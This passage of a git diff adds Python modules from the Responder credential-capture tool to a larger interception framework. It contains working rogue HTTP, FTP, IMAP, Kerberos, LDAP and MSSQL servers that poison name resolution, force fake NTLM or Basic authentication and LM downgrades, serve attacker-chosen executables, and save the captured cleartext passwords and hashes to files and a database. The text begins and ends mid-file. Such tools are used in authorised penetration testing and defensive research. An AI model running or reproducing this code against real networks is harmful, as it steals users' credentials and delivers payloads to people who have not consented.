self.request.send(str(SMTPGreating())) - data = self.request.recv(1024) - if data[0:4] == "EHLO": - self.request.send(str(SMTPAUTH())) - data = self.request.recv(1024) - if data[0:4] == "AUTH": - self.request.send(str(SMTPAUTH1())) - data = self.request.recv(1024) - if data: - Username = b64decode(data[:len(data)-2]) - self.request.send(str(SMTPAUTH2())) - data = self.request.recv(1024) - if data: - Password = b64decode(data[:len(data)-2]) - Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Username+":"+Password, Username+":"+Password) - #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) - log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password)) - - except Exception as e: - log.error("Error handling request: {}".format(e)) diff --git a/core/responder/smtp/__init__.py b/core/responder/smtp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/utils.py b/core/responder/utils.py new file mode 100644 index 0000000..1da7508 --- /dev/null +++ b/core/responder/utils.py @@ -0,0 +1,358 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import sys +import re +import logging +import socket +import time +import settings + +try: + import sqlite3 +except: + print "[!] Please install python-sqlite3 extension." + sys.exit(0) + +def color(txt, code = 1, modifier = 0): + + if txt.startswith('[*]'): + settings.Config.PoisonersLogger.warning(txt) + + elif 'Analyze' in txt: + settings.Config.AnalyzeLogger.warning(txt) + + # No colors for windows... + if os.name == 'nt': + return txt + + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +def text(txt): + logging.info(txt) + + if os.name == 'nt': + return txt + + return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + +def RespondToThisIP(ClientIp): + + if ClientIp.startswith('127.0.0.'): + return False + + if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo: + return False + + if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: + if ClientIp not in settings.Config.DontRespondTo: + return True + + return False + +def RespondToThisName(Name): + + if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName: + return False + + if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: + if Name.upper() not in settings.Config.DontRespondToName: + return True + + return False + +def RespondToThisHost(ClientIp, Name): + return (RespondToThisIP(ClientIp) and RespondToThisName(Name)) + +def IsOsX(): + return True if settings.Config.Os_version == "darwin" else False + +def OsInterfaceIsSupported(): + if settings.Config.Interface != "Not set": + return False if IsOsX() else True + else: + return False + +def FindLocalIP(Iface): + + if Iface == 'ALL': + return '0.0.0.0' + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + + return ret + + except socket.error: + print color("[!] Error: %s: Interface not found" % Iface, 1) + sys.exit(-1) + +# Function used to write captured hashs to a file. +def WriteData(outfile, data, user): + + logging.info("[*] Captured Hash: %s" % data) + + if os.path.isfile(outfile) == False: + with open(outfile,"w") as outf: + outf.write(data) + outf.write("\n") + outf.close() + + else: + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return False + if re.search(re.escape("$"), user): + filestr.close() + return False + + with open(outfile,"a") as outf2: + outf2.write(data) + outf2.write("\n") + outf2.close() + +def SaveToDb(result): + + # Creating the DB if it doesn't exist + if not os.path.exists(settings.Config.DatabaseFile): + cursor = sqlite3.connect(settings.Config.DatabaseFile) + cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') + cursor.commit() + cursor.close() + + for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: + if not k in result: + result[k] = '' + + if len(result['user']) < 2: + return + + if len(result['cleartext']): + fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client']) + else: + fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client']) + + timestamp = time.strftime("%d-%m-%Y %H:%M:%S") + logfile = os.path.join('./logs/responder', fname) + + cursor = sqlite3.connect(settings.Config.DatabaseFile) + res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user'])) + (count,) = res.fetchone() + + if count == 0: + + # Write JtR-style hash string to file + with open(logfile,"a") as outf: + outf.write(result['fullhash']) + outf.write("\n") + outf.close() + + # Update database + cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) + cursor.commit() + + cursor.close() + + # Print output + if count == 0 or settings.Config.Verbose: + + if len(result['client']): + print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + if len(result['hostname']): + print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + if len(result['user']): + print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) + + # Bu order of priority, print cleartext, fullhash, or hash + if len(result['cleartext']): + print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) + elif len(result['fullhash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) + elif len(result['hash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) + + else: + print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user'] + + +def Parse_IPV6_Addr(data): + + if data[len(data)-4:len(data)][1] =="\x1c": + return False + + elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": + return True + + elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": + return True + + else: + return False + +def Decode_Name(nbname): + #From http://code.google.com/p/dpkt/ with author's permission. + try: + from string import printable + + if len(nbname) != 32: + return nbname + + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) + + return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + + except: + return "Illegal NetBIOS name" + +def NBT_NS_Role(data): + Role = { + "\x41\x41\x00":"Workstation/Redirector", + "\x42\x4c\x00":"Domain Master Browser", + "\x42\x4d\x00":"Domain Controller", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election", + "\x43\x41\x00":"File Server", + "\x41\x42\x00":"Browser", + } + + return Role[data] if data in Role else "Service not known" + +def banner(): + + banner = "\n".join([ + ' __', + ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', + ' | _| -__|__ --| _ | _ | | _ || -__| _|', + ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', + ' |__|' + ]) + + print banner + print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ + print "" + print " Original work by Laurent Gaffie (lgaffie@trustwave.com)" + print " To kill this script hit CRTL-C" + print "" + +def StartupMessage(): + enabled = color('[ON]', 2, 1) + disabled = color('[OFF]', 1, 1) + + print "" + print color("[+] ", 2, 1) + "Poisoners:" + print ' %-27s' % "LLMNR" + enabled + print ' %-27s' % "NBT-NS" + enabled + print ' %-27s' % "DNS/MDNS" + enabled + print "" + + print color("[+] ", 2, 1) + "Servers:" + print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) + print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) + print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) + print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) + print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) + print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) + print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) + print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) + print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) + print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) + print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) + print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) + print "" + + print color("[+] ", 2, 1) + "HTTP Options:" + print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) + print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) + print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) + print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) + #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script + print "" + + print color("[+] ", 2, 1) + "Poisoning Options:" + print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) + print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) + print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) + print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) + print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) + print "" + + print color("[+] ", 2, 1) + "Generic Options:" + print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) + print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) + print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) + + if settings.Config.Upstream_Proxy: + print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) + + if len(settings.Config.RespondTo): + print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) + + if len(settings.Config.RespondToName): + print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) + + if len(settings.Config.DontRespondTo): + print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) + + if len(settings.Config.DontRespondToName): + print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) + + print "" + print "" + +# Useful for debugging +def hexdump(src, l=0x16): + res = [] + sep = '.' + src = str(src) + + for i in range(0, len(src), l): + s = src[i:i+l] + hexa = '' + + for h in range(0,len(s)): + if h == l/2: + hexa += ' ' + h = s[h] + if not isinstance(h, int): + h = ord(h) + h = hex(h).replace('0x','') + if len(h) == 1: + h = '0'+h + hexa += h + ' ' + + hexa = hexa.strip(' ') + text = '' + + for c in s: + if not isinstance(c, int): + c = ord(c) + + if 0x20 <= c < 0x7F: + text += chr(c) + else: + text += sep + + res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text)) + + return '\n'.join(res) diff --git a/core/sergioproxy/README.md b/core/sergioproxy/README.md deleted file mode 100644 index 87a7a23..0000000 --- a/core/sergioproxy/README.md +++ /dev/null @@ -1,13 +0,0 @@ -Originally, sergio-proxy was a standalone implementation of a -transparent proxy using the Twisted networking framework -for Python. However, sslstrip uses almost *exactly* the -same interception method, so I decided to use sslstrip's -more mature libraries and try to provide a simple plugin -interface to grab the data. - -The only file that has been modified from sslstrip is the -ServerConnection.py file, from which we can hook at certain -important points during the intercept. - -Copyright 2011, Ben Schmidt -Released under the GPLv3 diff --git a/core/sergioproxy/__init__.py b/core/sergioproxy/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/Browser.py b/core/servers/Browser.py new file mode 100644 index 0000000..a6aad30 --- /dev/null +++ b/core/servers/Browser.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct + +from core.configwatcher import ConfigWatcher +from core.packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData +from SocketServer import BaseRequestHandler +from core.utils import * + +def WorkstationFingerPrint(data): + Role = { + "\x04\x00" :"Windows 95", + "\x04\x10" :"Windows 98", + "\x04\x90" :"Windows ME", + "\x05\x00" :"Windows 2000", + "\x05\x00" :"Windows XP", + "\x05\x02" :"Windows 2003", + "\x06\x00" :"Windows Vista/Server 2008", + "\x06\x01" :"Windows 7/Server 2008R2", + } + + return Role[data] if data in Role else "Unknown" + +def RequestType(data): + Type = { + "\x01": 'Host Announcement', + "\x02": 'Request Announcement', + "\x08": 'Browser Election', + "\x09": 'Get Backup List Request', + "\x0a": 'Get Backup List Response', + "\x0b": 'Become Backup Browser', + "\x0c": 'Domain/Workgroup Announcement', + "\x0d": 'Master Announcement', + "\x0e": 'Reset Browser State Announcement', + "\x0f": 'Local Master Announcement', + } + + return Type[data] if data in Type else "Unknown" + +def PrintServerName(data, entries): + if entries > 0: + + entrieslen = 26*entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] + + l = [] + for x in ServerName: + FP = WorkstationFingerPrint(x[16:18]) + Name = x[:16].replace('\x00', '') + + if FP: + l.append(Name + ' (%s)' % FP) + else: + l.append(Name) + + return l + + return None + +def ParsePacket(Payload): + PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Session Setup AndX Request, Anonymous. + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",mid="\x02\x00") + Body = SMBSessionData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Tree Connect IPC$. + if data[8:10] == "\x73\x00": + Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") + Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Rap ServerEnum. + if data[8:10] == "\x75\x00": + Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") + Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(64736) + + # Rap ServerEnum, Get answer and return what we're looking for. + if data[8:10] == "\x25\x00": + s.close() + return ParsePacket(data) + except: + pass + +def BecomeBackup(data,Client): + try: + DataOffset = struct.unpack('. +import os + +from core.utils import * +from SocketServer import BaseRequestHandler +from core.packets import FTPPacket + +class FTP(BaseRequestHandler): + def handle(self): + try: + self.request.send(str(FTPPacket())) + data = self.request.recv(1024) + + if data[0:4] == "USER": + User = data[5:].strip() + + Packet = FTPPacket(Code="331",Message="User name okay, need password.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + if data[0:4] == "PASS": + Pass = data[5:].strip() + + Packet = FTPPacket(Code="530",Message="User not logged in.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + SaveToDb({ + 'module': 'FTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+':'+Pass + }) + + else: + Packet = FTPPacket(Code="502",Message="Command not implemented.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py new file mode 100644 index 0000000..6a71471 --- /dev/null +++ b/core/servers/HTTP.py @@ -0,0 +1,292 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import struct +import core.responder.settings + +from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer +from base64 import b64decode, b64encode +from core.responder.utils import * + +from core.responder.packets import NTLM_Challenge +from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans +from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile + + +# Parse NTLMv1/v2 hash. +def ParseHTTPHash(data, client): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack(' 1 and settings.Config.Verbose: + print text("[HTTP] Cookie : %s " % Cookie) + return Cookie + else: + return False + +def GrabHost(data, host): + Host = re.search('(Host:*.\=*)[^\r\n]*', data) + + if Host: + Host = Host.group(0).replace('Host: ', '') + if settings.Config.Verbose: + print text("[HTTP] Host : %s " % color(Host, 3)) + return Host + else: + return False + +def WpadCustom(data, client): + Wpad = re.search('(/wpad.dat|/*\.pac)', data) + if Wpad: + Buffer = WPADScript(Payload=settings.Config.WPAD_Script) + Buffer.calculate() + return str(Buffer) + else: + return False + +def ServeFile(Filename): + with open (Filename, "rb") as bk: + data = bk.read() + bk.close() + return data + +def RespondWithFile(client, filename, dlname=None): + + if filename.endswith('.exe'): + Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) + else: + Buffer = ServeHtmlFile(Payload = ServeFile(filename)) + + Buffer.calculate() + print text("[HTTP] Sending file %s to %s" % (filename, client)) + + return str(Buffer) + +def GrabURL(data, host): + GET = re.findall('(?<=GET )[^HTTP]*', data) + POST = re.findall('(?<=POST )[^HTTP]*', data) + POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) + + if GET and settings.Config.Verbose: + print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + + if POST and settings.Config.Verbose: + print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + if len(''.join(POSTDATA)) > 2: + print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + +# Handle HTTP packet sequence. +def PacketSequence(data, client): + NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) + Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) + + # Serve the .exe if needed + if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)): + return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) + + # Serve the custom HTML if needed + if settings.Config.Serve_Html == True: + return RespondWithFile(client, settings.Config.Html_Filename) + + WPAD_Custom = WpadCustom(data, client) + + if NTLM_Auth: + Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] + + if Packet_NTLM == "\x01": + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) + Buffer.calculate() + + Buffer_Ans = IIS_NTLM_Challenge_Ans() + Buffer_Ans.calculate(str(Buffer)) + + return str(Buffer_Ans) + + if Packet_NTLM == "\x03": + NTLM_Auth = b64decode(''.join(NTLM_Auth)) + ParseHTTPHash(NTLM_Auth, client) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + + elif Basic_Auth: + ClearText_Auth = b64decode(''.join(Basic_Auth)) + + GrabURL(data, client) + GrabHost(data, client) + GrabCookie(data, client) + + SaveToDb({ + 'module': 'HTTP', + 'type': 'Basic', + 'client': client, + 'user': ClearText_Auth.split(':')[0], + 'cleartext': ClearText_Auth.split(':')[1], + }) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + if settings.Config.Verbose: + print text("[HTTP] WPAD (auth) file sent to %s" % client) + return WPAD_Custom + + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return str(Buffer) + + else: + if settings.Config.Basic == True: + Response = IIS_Basic_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending BASIC authentication request to %s" % client) + + else: + Response = IIS_Auth_401_Ans() + if settings.Config.Verbose: + print text("[HTTP] Sending NTLM authentication request to %s" % client) + + return str(Response) + +# HTTP Server class +class HTTP(BaseRequestHandler): + + def handle(self): + try: + while True: + self.request.settimeout(1) + data = self.request.recv(8092) + Buffer = WpadCustom(data, self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.request.send(Buffer) + if settings.Config.Verbose: + print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.request.send(Buffer) + except socket.error: + pass + +# HTTPS Server class +class HTTPS(StreamRequestHandler): + def setup(self): + self.exchange = self.request + self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) + self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) + + def handle(self): + try: + while True: + data = self.exchange.recv(8092) + self.exchange.settimeout(0.5) + Buffer = WpadCustom(data,self.client_address[0]) + + if Buffer and settings.Config.Force_WPAD_Auth == False: + self.exchange.send(Buffer) + if settings.Config.Verbose: + print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + + else: + Buffer = PacketSequence(data,self.client_address[0]) + self.exchange.send(Buffer) + except: + pass + +# SSL context handler +class SSLSock(ThreadingMixIn, TCPServer): + def __init__(self, server_address, RequestHandlerClass): + from OpenSSL import SSL + + BaseServer.__init__(self, server_address, RequestHandlerClass) + ctx = SSL.Context(SSL.SSLv3_METHOD) + + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + + ctx.use_privatekey_file(key) + ctx.use_certificate_file(cert) + + self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type)) + self.server_bind() + self.server_activate() + + def shutdown_request(self,request): + try: + request.shutdown() + except: + pass diff --git a/core/servers/IMAP.py b/core/servers/IMAP.py new file mode 100644 index 0000000..c0ae12b --- /dev/null +++ b/core/servers/IMAP.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from SocketServer import BaseRequestHandler +from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +# IMAP4 Server class +class IMAP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(IMAPGreeting())) + data = self.request.recv(1024) + + if data[5:15] == "CAPABILITY": + RequestTag = data[0:4] + self.request.send(str(IMAPCapability())) + self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) + data = self.request.recv(1024) + + if data[5:10] == "LOGIN": + Credentials = data[10:].strip() + + SaveToDb({ + 'module': 'IMAP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Credentials[0], + 'cleartext': Credentials[1], + 'fullhash': Credentials[0]+":"+Credentials[1], + }) + + ## FIXME: Close connection properly + ## self.request.send(str(ditchthisconnection())) + ## data = self.request.recv(1024) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/KarmaSMB.py similarity index 100% rename from core/servers/smb/KarmaSMB.py rename to core/servers/KarmaSMB.py diff --git a/core/servers/Kerberos.py b/core/servers/Kerberos.py new file mode 100644 index 0000000..b3ac4bf --- /dev/null +++ b/core/servers/Kerberos.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from utils import * + +def ParseMSKerbv5TCP(Data): + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack('. +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from utils import * + +def ParseSearch(data): + Search1 = re.search('(objectClass)', data) + Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data) + Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data) + + if Search1: + return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) + if Search2: + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + if Search3: + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + +def ParseLDAPHash(data, client): + SSPIStart = data[42:] + LMhashLen = struct.unpack(' 10: + LMhashOffset = struct.unpack('i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack('. +import os +import struct +import settings + +from SocketServer import BaseRequestHandler +from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer +from utils import * + +class TDS_Login_Packet(): + def __init__(self, data): + + ClientNameOff = struct.unpack(' 60: + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+User, + 'hash': NTHash[:32]+":"+NTHash[32:], + 'fullhash': WriteHash, + }) + +def ParseSqlClearTxtPwd(Pwd): + Pwd = map(ord,Pwd.replace('\xa5','')) + Pw = [] + for x in Pwd: + Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) + return ''.join(Pw) + +def ParseClearTextSQLPass(data, client): + + TDS = TDS_Login_Packet(data) + + SaveToDb({ + 'module': 'MSSQL', + 'type': 'Cleartext', + 'client': client, + 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), + 'user': TDS.UserName, + 'cleartext': ParseSqlClearTxtPwd(TDS.Password), + 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), + }) + +# MSSQL Server class +class MSSQL(BaseRequestHandler): + + def handle(self): + if settings.Config.Verbose: + print text("[MSSQL] Received connection from %s" % self.client_address[0]) + + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + + # Pre-Login Message + if data[0] == "\x12": + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(Buffer) + data = self.request.recv(1024) + + # NegoSSP + if data[0] == "\x10": + if re.search("NTLMSSP",data): + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) + Packet.calculate() + Buffer = str(Packet) + self.request.send(Buffer) + data = self.request.recv(1024) + + else: + ParseClearTextSQLPass(data,self.client_address[0]) + + # NegoSSP Auth + if data[0] == "\x11": + ParseSQLHash(data,self.client_address[0]) + + except socket.timeout: + pass + self.request.close() \ No newline at end of file diff --git a/core/servers/POP3.py b/core/servers/POP3.py new file mode 100644 index 0000000..5bdfa7e --- /dev/null +++ b/core/servers/POP3.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have 